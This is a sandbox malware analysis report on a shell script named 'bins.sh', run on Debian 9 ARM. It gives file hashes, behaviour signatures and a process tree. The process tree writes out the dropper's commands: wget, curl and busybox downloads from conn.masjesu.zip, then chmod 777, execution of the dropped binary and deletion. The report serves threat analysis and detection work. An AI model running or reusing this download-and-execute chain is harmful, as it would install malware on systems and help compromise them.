Overview

overview

7

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    10s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-11-2024 12:18

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    08f97bfa89c4595b9341e1badc203a1f

  • SHA1

    657966ff8f84e6740ec73c866fa7f4b4de36c12d

  • SHA256

    4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3

  • SHA512

    f85495f56fcfd3d77a04043841616027128f716e38a7fa94e5f0c1ca5f7aa5b37592f3526cfe7fb83a5352b62dd79d963dd04e8348840c80bec49973d51459ee

  • SSDEEP

    192:0o3Hi5tYV2SXY4/EVcZe0IUZqsPmIUZqsP3oO2SXY4j3Hi5tR:R9EVoe0

Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
          • System Network Configuration Discovery
          PID:670
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
          • System Network Configuration Discovery
          PID:688
        • /bin/chmod
          chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
            2⤵
            • System Network Configuration Discovery
            PID:695
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:698

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
          Filesize

          16B

          MD5

          7689ca8c5bc85cf6b78ef89323d4df6a

          SHA1

          a1392ec3b571b3de167f0b9a5dadab4f14a2db76

          SHA256

          17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5

          SHA512

          40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471

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